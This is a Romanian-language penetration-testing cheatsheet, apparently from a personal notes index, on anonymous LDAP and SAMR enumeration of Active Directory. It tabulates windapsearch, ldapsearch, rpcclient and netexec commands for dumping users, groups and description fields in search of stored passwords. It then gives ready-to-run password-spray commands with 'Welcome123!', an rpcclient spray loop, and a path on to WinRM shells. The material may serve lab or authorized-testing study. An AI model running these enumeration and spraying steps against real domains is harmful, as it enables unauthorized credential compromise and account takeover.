⬅ IndexCheatsheets

AD Enumeration — LDAP & SAMR Anonim

TitleAD Enumeration — LDAP & SAMR Anonim
CategoryCheatsheets
DescriptionMatrice windapsearch/rpcclient/netexec pt enum fara creds: user-desc (parole in description — doar LDAP!), pass-pol, password spray cu lockout check
Updated2026-09-08

1. Matricea tool-urilor

Ce vrei windapsearch rpcclient (null) netexec (nxc)
Lista useri -U enumdomusers nxc smb IP -u '' -p '' --users
Lista grupuri -G enumdomgroups nxc smb IP -u '' -p '' --groups
Atribute complete (description etc.) -U --full | grep ❌ (SAMR nu dă description) nxc ldap IP -u '' -p '' -M user-desc
Membrii unui grup -m <grup> querygroupmem <rid> nxc ldap IP -u '' -p '' --groups '<Grup>'
Export useri în fișier -U > users.list nxc ldap IP -u '' -p '' --users-export users.list
Lockout policy nxc ldap IP -u '' -p '' --pass-pol

⚠️ description se citește DOAR prin LDAP. rpcclient queryuser / nxc smb --users (SAMR) nu întorc descrierea — acolo stau des parole implicite (ex. Welcome123!).

2. Comenzi echivalente una-la-una

# windapsearch (python, cel mai comod pt atribute):
./windapsearch.py -d domeniu.local --dc-ip IP -U --full | grep -iE "pass|welcome|temp"

# ldapsearch (openldap — fallback universal):
ldapsearch -x -H ldap://IP -b "dc=domeniu,dc=local" "(objectClass=user)" sAMAccountName description

# nxc ldap — anonymous bind:
nxc ldap IP -u '' -p '' --users-export users.list
nxc ldap IP -u '' -p '' -M user-desc                    # descrierile tuturor userilor
nxc ldap IP -u '' -p '' --pass-pol                      # lockout + complexitate
nxc ldap IP -u '' -p '' --groups 'DnsAdmins'            # membrii unui grup anume
nxc ldap IP -u '' -p '' --groups                        # toate grupurile

# rpcclient — null session:
rpcclient -U "" -N IP
> enumdomusers
> enumdomgroups
> queryuser 0x1f4

3. Password spray responsabil (după ce ai lista)

Verifică lockout policy ÎNAINTE (lockoutThreshold: 0 = poți spray liniștit):

nxc ldap IP -u '' -p '' --pass-pol
# sau: ldapsearch -x -h IP -b "dc=domeniu,dc=local" -s sub "*" | grep -i lockout

Spray:

nxc ldap IP -u users.list -p 'Welcome123!' --continue-on-success
nxc smb  IP -u users.list -p 'Welcome123!' --continue-on-success     # alternativ pe 445
# loop rpcclient (clasic):
for u in $(cat users.list); do rpcclient -U "$u%Welcome123!" -c "getusername;quit" IP | grep Authority; done

Dacă userul prins e în Remote Management Users (sau admin) → nxc winrm IP -u user -p pass → evil-winrm.

4. Când anonymous NU merge

nxc ldap IP -u user -p 'pass' -M user-desc
nxc ldap IP -u user -p 'pass' --groups

5. Locul în metodologie

  1. Anon LDAP/SAMR enum → useri + atribute (caută parole în description)
  2. Lockout check → password spray
  3. Creds → WinRM/SMB → enum local (winpeas, PSTranscripts etc.)
  4. BloodHound intră DOAR după ce ai creds (anonim = inutil pt BH) — și nu vede fișiere/artefacte locale